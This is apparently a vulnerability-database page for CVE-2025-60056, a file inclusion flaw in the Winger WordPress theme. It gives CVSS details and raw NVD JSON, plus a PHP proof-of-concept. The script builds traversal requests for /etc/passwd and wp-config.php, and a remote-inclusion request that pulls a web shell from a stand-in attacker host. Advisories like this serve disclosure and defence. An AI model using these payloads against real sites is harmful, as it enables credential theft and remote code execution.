Security Vulnerability Report
中文
CVE-2025-60056 CVSS 8.1 HIGH

CVE-2025-60056

Published: 2025-12-18 08:16:05
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Winger winger allows PHP Local File Inclusion.This issue affects Winger: from n/a through <= 1.0.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Winger <= 1.0.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-60056 PoC - Winger Theme Local File Inclusion // Target: WordPress site using Winger theme <= 1.0.16 $target = "http://target-site.com/"; // POC 1: Read local system file (passwd) $poc1 = $target . "?file=../../../../etc/passwd"; echo "[+] POC 1: Reading /etc/passwd\n"; echo "[+] Request: " . $poc1 . "\n\n"; // POC 2: Read WordPress config file $poc2 = $target . "?file=../../../../wp-config.php"; echo "[+] POC 2: Reading wp-config.php\n"; echo "[+] Request: " . $poc2 . "\n\n"; // POC 3: Read PHP error log (if accessible) $poc3 = $target . "?file=../../../../var/log/apache2/error.log"; echo "[+] POC 3: Reading Apache error log\n"; echo "[+] Request: " . $poc3 . "\n\n"; // POC 4: Remote code execution (if allow_url_include is enabled) // Attacker hosts malicious file on controlled server $malicious_file = "http://attacker-server.com/shell.txt"; $poc4 = $target . "?file=" . urlencode($malicious_file); echo "[+] POC 4: Remote File Inclusion (if allow_url_include=On)\n"; echo "[+] Request: " . $poc4 . "\n"; echo "[+] Attacker hosts: <?php system(\$_GET['cmd']); ?>\n"; // Note: Replace 'file' parameter name with actual vulnerable parameter // Common parameter names: file, page, template, include, req, module, etc. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60056", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:05.383", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Winger winger allows PHP Local File Inclusion.This issue affects Winger: from n/a through <= 1.0.16."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/winger/vulnerability/wordpress-winger-theme-1-0-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}